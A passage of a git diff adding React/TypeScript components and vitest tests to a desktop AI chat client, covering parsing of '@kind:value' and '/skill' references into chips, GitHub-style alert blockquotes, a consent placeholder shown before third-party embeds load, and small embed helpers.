+}
diff --git a/ui-desktop/src/components/assistant-ui/directive-text.test.ts b/ui-desktop/src/components/assistant-ui/directive-text.test.ts
new file mode 100644
index 000000000..46312bbdd
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/directive-text.test.ts
@@ -0,0 +1,96 @@
+import { describe, expect, it } from 'vitest'
+
+import { clawcodexDirectiveFormatter, formatRefValue } from './directive-text'
+
+describe('formatRefValue', () => {
+  it('leaves simple paths untouched', () => {
+    expect(formatRefValue('src/index.ts')).toBe('src/index.ts')
+    expect(formatRefValue('https://example.com/post')).toBe('https://example.com/post')
+  })
+
+  it('wraps paths with whitespace in backticks', () => {
+    expect(formatRefValue('apple-touch-icon (1).png')).toBe('`apple-touch-icon (1).png`')
+  })
+
+  it('falls back to double quotes when value contains backticks', () => {
+    expect(formatRefValue('weird `name` (1).md')).toBe('"weird `name` (1).md"')
+  })
+})
+
+describe('clawcodexDirectiveFormatter.parse', () => {
+  it('keeps quoted file paths whole when parsing', () => {
+    const segments = clawcodexDirectiveFormatter.parse('see @image:`apple-touch-icon (1).png` for the icon')
+
+    expect(segments).toEqual([
+      { kind: 'text', text: 'see ' },
+      { kind: 'mention', type: 'image', label: 'apple-touch-icon (1).png', id: 'apple-touch-icon (1).png' },
+      { kind: 'text', text: ' for the icon' }
+    ])
+  })
+
+  it('still parses unquoted paths', () => {
+    const segments = clawcodexDirectiveFormatter.parse('@file:src/main.tsx the entry point')
+
+    // The label keeps its directory: it's the same string the `@` popover row
+    // showed, and a bare `main.tsx` can't tell two files apart.
+    expect(segments).toEqual([
+      { kind: 'mention', type: 'file', label: 'src/main.tsx', id: 'src/main.tsx' },
+      { kind: 'text', text: ' the entry point' }
+    ])
+  })
+
+  it('parses session links with profile/id values', () => {
+    const segments = clawcodexDirectiveFormatter.parse('see @session:work/20260101_abc123 next')
+
+    expect(segments).toEqual([
+      { kind: 'text', text: 'see ' },
+      { kind: 'mention', type: 'session', label: '20260101…', id: 'work/20260101_abc123' },
+      { kind: 'text', text: ' next' }
+    ])
+  })
+})
+
+describe('inline skill references', () => {
+  const skills = (text: string) =>
+    [...clawcodexDirectiveFormatter.parse(text)]
+      .filter(segment => segment.kind === 'mention' && segment.type === 'skill')
+      .map(segment => (segment.kind === 'mention' ? segment.id : ''))
+
+  it('keeps a picked skill a chip in the sent message instead of flattening it', () => {
+    expect(skills('please run /clean on this')).toEqual(['/clean'])
+  })
+
+  it('keeps the surrounding prose as text around the chip', () => {
+    const segments = clawcodexDirectiveFormatter.parse('tidy this with /clean thanks')
+
+    expect(segments).toEqual([
+      { kind: 'text', text: 'tidy this with ' },
+      { kind: 'mention', type: 'skill', label: 'clean', id: '/clean' },
+      { kind: 'text', text: ' thanks' }
+    ])
+  })
+
+  it('leaves file paths and fractions alone', () => {
+    expect(skills('check src/foo/bar')).toEqual([])
+    expect(skills('look at /usr/local/bin')).toEqual([])
+    expect(skills('roughly 3 /4 of it')).toEqual([])
+  })
+
+  it('chips a leading slash, which now reaches the transcript as a skill invocation', () => {
+    // #71664 asserted the opposite, and was right at the time: a leading slash
+    // only ever EXECUTED, so it never reached a rendered message as text —
+    // the turn that reached the bubble was the expanded skill body. Projecting
+    // a skill turn back onto `/work fix it` changes that precondition, so the
+    // invocation now has to chip like any other skill reference.
+    expect(skills('/clean')).toEqual(['/clean'])
+    expect(skills('/work fix the leak')).toEqual(['/work'])
+  })
+
+  it('parses a skill chip alongside an @ reference', () => {
+    const mentions = [...clawcodexDirectiveFormatter.parse('run /clean on @file:`src/a.ts`')].filter(
+      segment => segment.kind === 'mention'
+    )
+
+    expect(mentions.map(segment => (segment.kind === 'mention' ? segment.type : ''))).toEqual(['skill', 'file'])
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/directive-text.tsx b/ui-desktop/src/components/assistant-ui/directive-text.tsx
new file mode 100644
index 000000000..253dd4060
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/directive-text.tsx
@@ -0,0 +1,566 @@
+'use client'
+
+import type { Unstable_DirectiveFormatter, Unstable_DirectiveSegment, Unstable_TriggerItem } from '@assistant-ui/core'
+import type { TextMessagePartComponent, TextMessagePartProps } from '@assistant-ui/react'
+import type { FC } from 'react'
+import { Fragment, useEffect, useMemo, useState } from 'react'
+
+import { ZoomableImage } from '@/components/chat/zoomable-image'
+import type { I18nContextValue } from '@/i18n'
+import { extractEmbeddedImages } from '@/lib/embedded-images'
+import { openExternalLink } from '@/lib/external-link'
+import { triggerHaptic } from '@/lib/haptics'
+import { gatewayMediaDataUrl, isRemoteGateway } from '@/lib/media'
+import { useSessionLinkTitle } from '@/lib/session-link-title'
+import { parseSessionRefValue, sessionRefFallbackLabel } from '@/lib/session-refs'
+import { cn } from '@/lib/utils'
+
+import { referenceKind, referenceRe, referenceStyle, WIRE_REFERENCE_KINDS } from './reference-kinds'
+
+const CLAWCODEX_REF_TYPES = WIRE_REFERENCE_KINDS
+type ClawCodexRefType = (typeof CLAWCODEX_REF_TYPES)[number]
+
+/** Icon glyphs come from the shared reference vocabulary, so the popover row
+ *  and the chip can never drift apart. */
+const iconPathsFor = (type: string) => referenceStyle(type).paths
+
+const SVG_ATTRS =
+  'xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"'
+
+/**
+ * The class + attributes that make any element an inline reference. Pair with
+ * the `.ref` rules in styles.css, which own the per-kind accent — pass the kind
+ * and the theme decides the colour.
+ *
+ * One helper for every surface: the composer's contenteditable chips, a sent
+ * message's mentions, a markdown link, a completion row's glyph. If it points
+ * at something from inside text, it goes through here.
+ */
+export function refAttrs(kind?: string, extra?: string): { className: string; 'data-ref'?: string } {
+  const className = extra ? `ref ${extra}` : 'ref'
+
+  return kind ? { className, 'data-ref': referenceKind(kind) } : { className }
+}
+
+/** The same thing as a raw attribute string, for HTML built by hand. */
+export function refAttrsHtml(kind?: string): string {
+  return kind ? `class="ref" data-ref="${referenceKind(kind)}"` : 'class="ref"'
+}
+
+/** SVG markup string for embedding directly in HTML (composer contenteditable). */
+export function directiveIconSvg(type: string) {
+  const inner = iconPathsFor(type)
+    .map(d => `<path d="${d}"/>`)
+    .join('')
+
+  return `<svg ${SVG_ATTRS}>${inner}</svg>`
+}
+
+function iconElementFromPaths(paths: string[]) {
+  const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
+  svg.setAttribute('fill', 'none')
+  svg.setAttribute('stroke', 'currentColor')
+  svg.setAttribute('stroke-linecap', 'round')
+  svg.setAttribute('stroke-linejoin', 'round')
+  svg.setAttribute('stroke-width', '2')
+  svg.setAttribute('viewBox', '0 0 24 24')
+  svg.setAttribute('xmlns', 'http://www.w3.org/2000/svg')
+
+  for (const d of paths) {
+    const path = document.createElementNS('http://www.w3.org/2000/svg', 'path')
+    path.setAttribute('d', d)
+    svg.append(path)
+  }
+
+  return svg
+}
+
+export function directiveIconElement(type: string) {
+  return iconElementFromPaths(iconPathsFor(type))
+}
+
+/** Commands, skills, and themes are three more reference kinds — no separate
+ *  pill styling, just the shared `.ref` treatment with their own accent. */
+export type SlashChipKind = 'command' | 'skill' | 'theme'
+
+export function slashIconElement(kind: SlashChipKind) {
+  return iconElementFromPaths(iconPathsFor(kind))
+}
+
+/** The glyph for a reference kind. Size, spacing, and opacity come from the
+ *  `.ref > svg` rules — the icon only has to say which shape it is. */
+const DirectiveIcon: FC<{ type: string; className?: string }> = ({ type, className }) => (
+  <svg
+    className={className}
+    fill="none"
+    stroke="currentColor"
+    strokeLinecap="round"
+    strokeLinejoin="round"
+    strokeWidth={2}
+    viewBox="0 0 24 24"
+    xmlns="http://www.w3.org/2000/svg"
+  >
+    {iconPathsFor(type).map(d => (
+      <path d={d} key={d} />
+    ))}
+  </svg>
+)
+
+/**
+ * Parses our composer's `@type:value` references into directive segments
+ * so they render as inline chips in user messages instead of raw text.
+ *
+ * Supported types: file, folder, url, image. Anything else stays plain text.
+ *
+ * Mirrors the Python `agent/context_references.REFERENCE_PATTERN` syntax:
+ * the value may be wrapped in backticks, single quotes, or double quotes so
+ * paths with spaces/parens/etc. survive parsing intact.
+ */
+const CANONICAL_DIRECTIVE_RE = /:([\w-]{1,64})\[([^\]\n]{1,1024})\](?:\{name=([^}\n]{1,1024})\})?/g
+
+const CLAWCODEX_DIRECTIVE_RE = referenceRe()
+
+// A skill referenced in a sent message — either the invocation that opens it
+// (`/work fix the leak`, which is all a skill turn ever renders as) or one
+// named mid-prose (`clean this up with /clean`). The composer inserts both as
+// pills, so the sent message renders them as pills too rather than flattening
+// back to raw text.
+//
+// #71664 deliberately excluded a LEADING slash, and was right then: a command
+// only ever executed, so it never reached a rendered message as text. Skill
+// turns now project back onto their invocation, so that precondition is gone
+// and `^` joins the lookbehind.
+//
+// Unlike the composer's caret-anchored trigger, this scans finished text, so
+// it must reject a token that continues into a path: `/usr/local/bin` would
+// otherwise chip as `/usr`. `(?![\w-]*\/)` requires the token to end at
+// something other than another slash.
+const SLASH_SKILL_RE = /(?<=^|\s)\/([a-zA-Z][\w-]*)(?![\w-]*\/)/g
+
+const TRAILING_PUNCTUATION_RE = /[,.;!?]+$/
+
+function unwrapRefValue(raw: string): string {
+  if (raw.length < 2) {
+    return raw
+  }
+
+  const head = raw[0]
+  const tail = raw[raw.length - 1]
+
+  if ((head === '`' && tail === '`') || (head === '"' && tail === '"') || (head === "'" && tail === "'")) {
+    return raw.slice(1, -1)
+  }
+
+  return raw.replace(TRAILING_PUNCTUATION_RE, '')
+}
+
+function needsQuoting(value: string): boolean {
+  return /[\s()[\]{}<>"'`]/.test(value)
+}
+
+export function formatRefValue(value: string): string {
+  if (!needsQuoting(value)) {
+    return value
+  }
+
+  if (!value.includes('`')) {
+    return `\`${value}\``
+  }
+
+  if (!value.includes('"')) {
+    return `"${value}"`
+  }
+
+  if (!value.includes("'")) {
+    return `'${value}'`
+  }
+
+  return value
+}
+
+export const clawcodexDirectiveFormatter: Unstable_DirectiveFormatter = {
+  serialize(item: Unstable_TriggerItem): string {
+    const metadata = item.metadata as { rawText?: unknown; insertId?: unknown } | undefined
+    const rawText = typeof metadata?.rawText === 'string' ? metadata.rawText : null
+    const insertId = typeof metadata?.insertId === 'string' ? metadata.insertId : null
+
+    // Live-completion items carry the gateway's original `text` field via metadata.
+    if (rawText) {
+      // Palette starters (`@file:` with empty value) — insert verbatim so the
+      // user can keep typing the path inline.
+      if (rawText.endsWith(':') && !insertId) {
+        return rawText
+      }
+
+      // Simple references like `@diff` / `@staged`.
+      if (!insertId) {
+        return rawText
+      }
+
+      // Typed references with a value — quote when needed.
+      const kindMatch = rawText.match(/^@([^:]+):/)
+      const kind = kindMatch?.[1] ?? item.type
+
+      return `@${kind}:${formatRefValue(insertId)}`
+    }
+
+    // Fallback for legacy callers that pass raw `id` strings.
+    if (item.id === `${item.type}:`) {
+      return `@${item.id}`
+    }
+
+    return `@${item.type}:${formatRefValue(item.id)}`
+  },
+  parse(text: string): readonly Unstable_DirectiveSegment[] {
+    return parseDirectiveText(text)
+  }
+}
+
+function parseDirectiveText(text: string): Unstable_DirectiveSegment[] {
+  const matches = [
+    ...Array.from(text.matchAll(CANONICAL_DIRECTIVE_RE)).map(match => ({
+      start: match.index ?? 0,
+      end: (match.index ?? 0) + match[0].length,
+      type: match[1] || 'tool',
+      label: match[2] || match[3] || '',
+      id: match[3] || match[2] || ''
+    })),
+    ...Array.from(text.matchAll(CLAWCODEX_DIRECTIVE_RE)).map(match => {
+      const id = unwrapRefValue(match[2] || '')
+
+      return {
+        start: match.index ?? 0,
+        end: (match.index ?? 0) + match[0].length,
+        type: match[1] || 'file',
+        label: refChipLabel(match[1] || 'file', id),
+        id
+      }
+    }),
+    ...Array.from(text.matchAll(SLASH_SKILL_RE)).map(match => ({
+      start: match.index ?? 0,
+      end: (match.index ?? 0) + match[0].length,
+      type: 'skill',
+      label: match[1],
+      id: `/${match[1]}`
+    }))
+  ]
+    .filter(match => match.id)
+    .sort((a, b) => a.start - b.start)
+
+  const segments: Unstable_DirectiveSegment[] = []
+  let cursor = 0
+
+  for (const match of matches) {
+    if (match.start < cursor) {
+      continue
+    }
+
+    if (match.start > cursor) {
+      segments.push({ kind: 'text', text: text.slice(cursor, match.start) })
+    }
+
+    segments.push({
+      kind: 'mention',
+      type: match.type,
+      label: match.label,
+      id: match.id
+    })
+    cursor = match.end
+  }
+
+  if (cursor < text.length) {
+    segments.push({ kind: 'text', text: text.slice(cursor) })
+  }
+
+  return segments
+}
+
+/** The single display label for a `@kind:value` reference — used by the `@`
+ *  popover row, the composer chip, and the sent-message chip alike, so a
+ *  reference reads the same everywhere. Upstream keeps one label on the
+ *  directive node and hands it to every consumer verbatim; our wire format
+ *  (`@kind:value`) can't carry a label, so this is the shared deriver that
+ *  holds the same invariant.
+ *
+ *  Paths keep their directory for the reason links keep theirs: a bare
+ *  basename can't tell two references apart (`src`, `index.ts`, `main.tsx`
+ *  repeat all over a repo), and browsing into `apps/desktop/` only to be
+ *  handed a chip reading `desktop` throws away the context you navigated for.
+ *  The chip's `truncate` cuts the overflow. */
+export function refChipLabel(type: string, id: string): string {
+  if (type === 'terminal') {
+    return id || 'terminal'
+  }
+
+  if (type === 'session') {
+    return sessionRefFallbackLabel(id)
+  }
+
+  if (type === 'url') {
+    try {
+      const { hostname, pathname, search } = new URL(id)
+      const path = `${pathname}${search}`.replace(/\/$/, '')
+
+      return `${hostname.replace(/^www\./i, '')}${path}` || id
+    } catch {
+      return id
+    }
+  }
+
+  // `./` is noise the completer emits, not part of the reference. A trailing
+  // slash is kept — it's what distinguishes a folder from a file.
+  return id.replace(/^\.\//, '') || id
+}
+
+function safeEmbeddedImages(text: string) {
+  try {
+    return extractEmbeddedImages(text)
+  } catch {
+    return { cleanedText: text, images: [] as string[] }
+  }
+}
+
+function safeDirectiveSegments(text: string): Unstable_DirectiveSegment[] {
+  try {
+    return [...clawcodexDirectiveFormatter.parse(text)]
+  } catch {
+    return [{ kind: 'text', text }]
+  }
+}
+
+/**
+ * Renders text containing ClawCodex directives (`@file:...`, `@image:...`) as
+ * inline chips. Embedded MEDIA images render below as a thumbnail row.
+ */
+export function DirectiveContent({ text }: { text: string }) {
+  const { cleanedText, images } = useMemo(() => safeEmbeddedImages(text ?? ''), [text])
+  const segments = useMemo(() => safeDirectiveSegments(cleanedText), [cleanedText])
+
+  // `@image:<path>` directives render as a block-level thumbnail row (like
+  // embedded base64 images below), not inline mid-text — otherwise a large
+  // thumbnail gets wedged between words and breaks the text's line flow.
+  const imageSegments = useMemo(
+    () =>
+      segments.filter(
+        (segment): segment is Extract<Unstable_DirectiveSegment, { kind: 'mention' }> =>
+          segment.kind === 'mention' && segment.type === 'image'
+      ),
+    [segments]
+  )
+
+  return (
+    <span className="whitespace-pre-line" data-slot="aui_directive-text">
+      {segments.map((segment, index) =>
+        segment.kind === 'text' ? (
+          <Fragment key={`t-${index}`}>{segment.text}</Fragment>
+        ) : segment.type === 'image' ? null : segment.type === 'session' ? (
+          <SessionRefChip key={`m-${index}-${segment.id}`} label={segment.label} value={segment.id} />
+        ) : segment.type === 'skill' ? (
+          <SlashChip key={`m-${index}-${segment.id}`} kind="skill" label={segment.label} value={segment.id} />
+        ) : (
+          <DirectiveChip id={segment.id} key={`m-${index}-${segment.id}`} label={segment.label} type={segment.type} />
+        )
+      )}
+      {(imageSegments.length > 0 || images.length > 0) && (
+        <span className="mt-2 flex flex-wrap gap-2" data-slot="aui_embedded-images">
+          {imageSegments.map((segment, index) => (
+            <DirectiveImage id={segment.id} key={`img-ref-${index}-${segment.id}`} label={segment.label} />
+          ))}
+          {images.map((src, index) => (
+            <ZoomableImage
+              alt=""
+              className="max-h-48 max-w-full rounded-lg border border-(--ui-stroke-tertiary) object-contain"
+              draggable={false}
+              key={`img-${index}`}
+              slot="aui_embedded-image"
+              src={src}
+            />
+          ))}
+        </span>
+      )}
+    </span>
+  )
+}
+
+/** assistant-ui adapter: same renderer, exposed as a TextMessagePartComponent. */
+export const DirectiveText: TextMessagePartComponent = ({ text }: TextMessagePartProps) => (
+  <DirectiveContent text={text ?? ''} />
+)
+
+/** Image refs render as a thumbnail rather than a chip — matches how persisted
+ * messages render after the backend embeds the data URL, so the UX is stable
+ * across initial send and refresh. */
+const DirectiveImage: FC<{ id: string; label: string }> = ({ id, label }) => {
+  const isUrl = /^(?:https?|data):/i.test(id)
+  const [src, setSrc] = useState<string | null>(isUrl ? id : null)
+  const [failed, setFailed] = useState(false)
+
+  useEffect(() => {
+    if (isUrl || !id) {
+      return
+    }
+
+    let alive = true
+
+    // Remote gateway: the image lives on the gateway's disk, not ours — fetch
+    // it over the authenticated API. Local: read it straight off this disk.
+    const load =
+      window.clawcodexDesktop && isRemoteGateway() ? gatewayMediaDataUrl(id) : window.clawcodexDesktop?.readFileDataUrl(id)
+
+    void Promise.resolve(load)
+      .then(url => alive && url && setSrc(url))
+      .catch(() => alive && setFailed(true))
+
+    return () => {
+      alive = false
+    }
+  }, [id, isUrl])
+
+  if (failed) {
+    return <DirectiveChip id={id} label={label} type="image" />
+  }
+
+  if (!src) {
+    return (
+      <span
+        aria-hidden
+        className="inline-block size-12 shrink-0 animate-pulse rounded-md bg-[color-mix(in_srgb,currentColor_8%,transparent)]"
+      />
+    )
+  }
+
+  return (
+    <ZoomableImage
+      alt={label}
+      className="max-h-48 max-w-full rounded-lg border border-(--ui-stroke-tertiary) object-contain"
+      draggable={false}
+      slot="aui_directive-image"
+      src={src}
+    />
+  )
+}
+
+/** Opens the referenced session the way a sidebar ⌘-click would: jump to it if
+ *  it's already a tile/main, otherwise open a stacked tab (never steals main
+ *  from under the chat you're reading). Lazy-imports so the composer's rich
+ *  editor can pull this module in without booting the profile/REST stack. */
+export function openSessionRef(value: string) {
+  const { sessionId } = parseSessionRefValue(value)
+
+  if (!sessionId) {
+    return
+  }
+
+  triggerHaptic('selection')
+  // navigate is unused for the `tab` intent (focus-or-tile only).
+  void import('@/app/open-session').then(({ openSession }) => openSession(sessionId, () => undefined, 'tab'))
+}
+
+/** What activating a directive of a given kind does. The single source of truth
+ *  for "you can act on this reference," shared by every surface that renders a
+ *  chip: the composer's hover pill (`ComposerDirectiveActions`) and the sent
+ *  message's clickable chip below. A kind with no entry is inert everywhere.
+ *
+ *  Add a kind here and both surfaces light up — that's the whole point of one
+ *  table. `icon`/`label` are for the pill; the transcript chip carries its own
+ *  glyph and only reads `run`. */
+export interface DirectiveAction {
+  icon: string
+  label: (t: I18nContextValue['t']) => string
+  run: (value: string) => void
+}
+
+export const DIRECTIVE_ACTIONS: Record<string, DirectiveAction> = {
+  session: {
+    icon: 'link-external',
+    label: t => t.composer.openDirective,
+    run: openSessionRef
+  },
+  url: {
+    icon: 'link-external',
+    label: t => t.composer.openDirective,
+    run: openExternalLink
+  }
+}
+
+/** A `@session:<profile>/<id>` reference in the user transcript (directive
+ *  segments), rendered as a chip like the other composer refs. Clicking it
+ *  opens the session as a tab. */
+export const SessionRefChip: FC<{
+  label?: string
+  value: string
+}> = ({ label, value }) => {
+  const resolved = useSessionLinkTitle(value, label)
+
+  return <DirectiveChip id={value} label={resolved} onClick={() => openSessionRef(value)} type="session" />
+}
+
+/** A `@session:` reference in assistant markdown (`#session/` links rewritten
+ *  in `preprocessMarkdown`). Reads as an ordinary inline link — the agent wrote
+ *  it mid-sentence — with the funnel icon leading the resolved title. */
+export const SessionRefLink: FC<{
+  label?: string
+  value: string
+}> = ({ label, value }) => {
+  const resolved = useSessionLinkTitle(value, label)
+
+  return (
+    <a
+      {...refAttrs('session', 'wrap-anywhere')}
+      href="#"
+      onClick={event => {
+        event.preventDefault()
+        event.stopPropagation()
+        openSessionRef(value)
+      }}
+      title={value}
+    >
+      <DirectiveIcon type="session" />
+      {resolved}
+    </a>
+  )
+}
+
+/** A skill referenced inside a sent message — the rendered twin of the
+ *  composer's slash pill, so a picked skill stays a chip after send. */
+const SlashChip: FC<{ kind: SlashChipKind; label: string; value: string }> = ({ kind, label, value }) => (
+  <span {...refAttrs(kind)} data-slot="aui_slash-chip" title={value}>
+    <DirectiveIcon type={kind} />
+    {label}
+  </span>
+)
+
+/** A directive reference in a sent message. A kind with a `DIRECTIVE_ACTIONS`
+ *  entry (a url, …) renders as a real button that runs it on click; everything
+ *  else is inert text. `onClick` overrides for chips that resolve their target
+ *  themselves (session, which needs the async navigator). */
+const DirectiveChip: FC<{
+  type: string
+  label: string
+  id: string
+  onClick?: () => void
+}> = ({ type, label, id, onClick }) => {
+  const activate = onClick ?? (DIRECTIVE_ACTIONS[type] ? () => DIRECTIVE_ACTIONS[type]!.run(id) : undefined)
+
+  const body = (
+    <>
+      <DirectiveIcon type={type} />
+      {label}
+    </>
+  )
+
+  const props = {
+    ...refAttrs(type, cn('wrap-anywhere', activate && 'cursor-pointer')),
+    'data-directive-id': id,
+    'data-slot': 'aui_directive-chip',
+    title: id
+  }
+
+  return activate ? (
+    <button {...props} onClick={activate} type="button">
+      {body}
+    </button>
+  ) : (
+    <span {...props}>{body}</span>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/alert.test.tsx b/ui-desktop/src/components/assistant-ui/embeds/alert.test.tsx
new file mode 100644
index 000000000..b003b914a
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/alert.test.tsx
@@ -0,0 +1,39 @@
+import { createElement } from 'react'
+import { describe, expect, it } from 'vitest'
+
+import { extractAlert } from './alert'
+
+describe('extractAlert', () => {
+  it('detects each GFM alert kind from the leading marker', () => {
+    for (const [marker, type] of [
+      ['[!NOTE]', 'note'],
+      ['[!TIP]', 'tip'],
+      ['[!IMPORTANT]', 'important'],
+      ['[!WARNING]', 'warning'],
+      ['[!CAUTION]', 'caution']
+    ] as const) {
+      const node = createElement('p', null, `${marker}\nBody text`)
+      const result = extractAlert(node)
+
+      expect(result?.type).toBe(type)
+    }
+  })
+
+  it('is case-insensitive on the marker', () => {
+    expect(extractAlert(createElement('p', null, '[!note] hi'))?.type).toBe('note')
+  })
+
+  it('returns null for a plain blockquote', () => {
+    expect(extractAlert(createElement('p', null, 'just a quote'))).toBeNull()
+    expect(extractAlert('no marker here')).toBeNull()
+  })
+
+  it('strips the marker token from the body', () => {
+    const result = extractAlert(createElement('p', null, '[!WARNING]\nDanger ahead'))
+
+    expect(result).not.toBeNull()
+    // The marker must not survive into the rendered body.
+    expect(JSON.stringify(result?.body)).not.toContain('[!WARNING]')
+    expect(JSON.stringify(result?.body)).toContain('Danger ahead')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/embeds/alert.tsx b/ui-desktop/src/components/assistant-ui/embeds/alert.tsx
new file mode 100644
index 000000000..147b359c3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/alert.tsx
@@ -0,0 +1,125 @@
+import { cloneElement, isValidElement, type ReactNode } from 'react'
+
+import { AlertCircle, AlertTriangle, type IconComponent, Info, Zap } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+export type AlertType = 'caution' | 'important' | 'note' | 'tip' | 'warning'
+
+interface AlertStyle {
+  accent: string
+  icon: IconComponent
+  label: string
+}
+
+// GitHub's five alert kinds, mapped to our icon set + a tinted accent.
+const ALERT_STYLES: Record<AlertType, AlertStyle> = {
+  caution: { accent: 'text-rose-600 dark:text-rose-400', icon: AlertTriangle, label: 'Caution' },
+  important: { accent: 'text-violet-600 dark:text-violet-400', icon: AlertCircle, label: 'Important' },
+  note: { accent: 'text-blue-600 dark:text-blue-400', icon: Info, label: 'Note' },
+  tip: { accent: 'text-emerald-600 dark:text-emerald-400', icon: Zap, label: 'Tip' },
+  warning: { accent: 'text-amber-600 dark:text-amber-400', icon: AlertTriangle, label: 'Warning' }
+}
+
+const MARKER_RE = /^\s*\[!(note|tip|important|warning|caution)\]\s*\n?/i
+
+function firstText(node: ReactNode): string {
+  if (typeof node === 'string') {
+    return node
+  }
+
+  if (typeof node === 'number') {
+    return String(node)
+  }
+
+  if (Array.isArray(node)) {
+    for (const child of node) {
+      const text = firstText(child)
+
+      if (text.trim()) {
+        return text
+      }
+    }
+
+    return ''
+  }
+
+  if (isValidElement(node)) {
+    return firstText((node.props as { children?: ReactNode }).children)
+  }
+
+  return ''
+}
+
+// Remove the leading `[!TYPE]` token from the first text node that carries it,
+// leaving the rest of the blockquote body intact. One-shot via the `state` flag.
+function stripMarker(node: ReactNode, state: { done: boolean }): ReactNode {
+  if (state.done) {
+    return node
+  }
+
+  if (typeof node === 'string') {
+    const replaced = node.replace(MARKER_RE, '')
+
+    if (replaced !== node) {
+      state.done = true
+
+      return replaced
+    }
+
+    return node
+  }
+
+  if (Array.isArray(node)) {
+    return node.map((child, index) => <Fragmentless key={index} node={stripMarker(child, state)} />)
+  }
+
+  if (isValidElement(node)) {
+    const children = (node.props as { children?: ReactNode }).children
+
+    if (children == null) {
+      return node
+    }
+
+    return cloneElement(node, undefined, stripMarker(children, state))
+  }
+
+  return node
+}
+
+// Tiny helper so the array branch can return keyed nodes without wrapping
+// strings in extra elements (React renders the raw node).
+function Fragmentless({ node }: { node: ReactNode }) {
+  return <>{node}</>
+}
+
+/**
+ * Detect a GitHub-style alert blockquote (`> [!NOTE]`). Returns the alert kind
+ * and the body with the marker stripped, or null for a plain blockquote.
+ */
+export function extractAlert(children: ReactNode): { body: ReactNode; type: AlertType } | null {
+  const match = firstText(children).match(MARKER_RE)
+
+  if (!match) {
+    return null
+  }
+
+  return { body: stripMarker(children, { done: false }), type: match[1].toLowerCase() as AlertType }
+}
+
+export function MarkdownAlert({ children, type }: { children: ReactNode; type: AlertType }) {
+  const style = ALERT_STYLES[type]
+  const Icon = style.icon
+
+  return (
+    <div
+      className="my-2 rounded-lg border border-(--ui-stroke-tertiary) bg-muted/25 px-3 py-2 [&>*:first-child]:mt-0 [&>*:last-child]:mb-0"
+      data-slot="aui_markdown-alert"
+    >
+      <div className={cn('mb-1 flex items-center gap-1.5 text-[0.8125rem] font-semibold', style.accent)}>
+        <Icon className="size-4 shrink-0" />
+        {style.label}
+      </div>
+      {children}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/embed-consent.tsx b/ui-desktop/src/components/assistant-ui/embeds/embed-consent.tsx
new file mode 100644
index 000000000..c2fa1bff2
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/embed-consent.tsx
@@ -0,0 +1,55 @@
+'use client'
+
+import { type CSSProperties, useState } from 'react'
+
+import { SplitButton } from '@/components/ui/split-button'
+import { Play } from '@/lib/icons'
+import { allowProvider } from '@/store/embed-consent'
+
+import type { EmbedDescriptor } from './providers/types'
+
+// Privacy placeholder shown before an embed reaches out to a third party. Sized
+// to the embed's footprint (no layout shift). The split control mirrors the
+// commit button: primary "Load" (this embed) with a caret for "Always allow
+// <service>" (persisted). Global off lives in Appearance settings.
+export function EmbedFacade({ descriptor, onLoad }: { descriptor: EmbedDescriptor; onLoad: () => void }) {
+  const [choice, setChoice] = useState('once')
+
+  const style: CSSProperties = descriptor.aspectRatio
+    ? { aspectRatio: descriptor.aspectRatio }
+    : { height: descriptor.height ?? 320 }
+
+  const actions = [
+    { id: 'once', label: `Load ${descriptor.label}` },
+    { id: 'always', label: `Always allow ${descriptor.label}` }
+  ]
+
+  return (
+    <span
+      className="flex size-full flex-col items-center justify-center gap-2 rounded-lg border border-dashed border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary)/30"
+      style={style}
+    >
+      <SplitButton
+        actions={actions}
+        onTrigger={id => (id === 'always' ? allowProvider(descriptor.provider) : onLoad())}
+        onValueChange={setChoice}
+        primaryIcon={<Play className="size-3 translate-x-px fill-current" />}
+        value={choice}
+      />
+      <span className="text-[0.6875rem] text-(--ui-text-tertiary)">{hostOf(descriptor)}</span>
+    </span>
+  )
+}
+
+function hostOf(descriptor: EmbedDescriptor): string {
+  // x.com posts often arrive as twitter.com links — show the current brand.
+  if (descriptor.provider === 'twitter') {
+    return 'x.com'
+  }
+
+  try {
+    return new URL(descriptor.sourceUrl).hostname.replace(/^www\./, '')
+  } catch {
+    return descriptor.label
+  }
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/embed-size.ts b/ui-desktop/src/components/assistant-ui/embeds/embed-size.ts
new file mode 100644
index 000000000..3f3da9fb3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/embed-size.ts
@@ -0,0 +1,4 @@
+// Shared height cap for inline embeds. Ratio embeds cap their width off this in
+// UrlEmbed so height follows the aspect ratio; fenced renderers (mermaid, svg)
+// reuse it directly. Pure CSS — no measuring.
+export const EMBED_MAX_H = '33dvh'
diff --git a/ui-desktop/src/components/assistant-ui/embeds/escape-html.ts b/ui-desktop/src/components/assistant-ui/embeds/escape-html.ts
new file mode 100644
index 000000000..c8545bca5
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/escape-html.ts
@@ -0,0 +1,3 @@
+export function escapeHtml(value: string): string {
+  return value.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;')
+}
diff --git a/ui-desktop/src/components/assistant-ui/embeds/fail.tsx b/ui-desktop/src/components/assistant-ui/embeds/fail.tsx
new file mode 100644
index 000000000..833f67f83
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/embeds/fail.tsx
@@ -0,0 +1,7 @@
+export function EmbedFail({ label }: { label: string }) {
+  return (
+    <span className="grid min-h-32 w-full place-items-center p-4">
+      <span className="text-xs font-medium text-(--ui-red)">Failed to load {label} embed</span>
+    </span>
+  )
+}
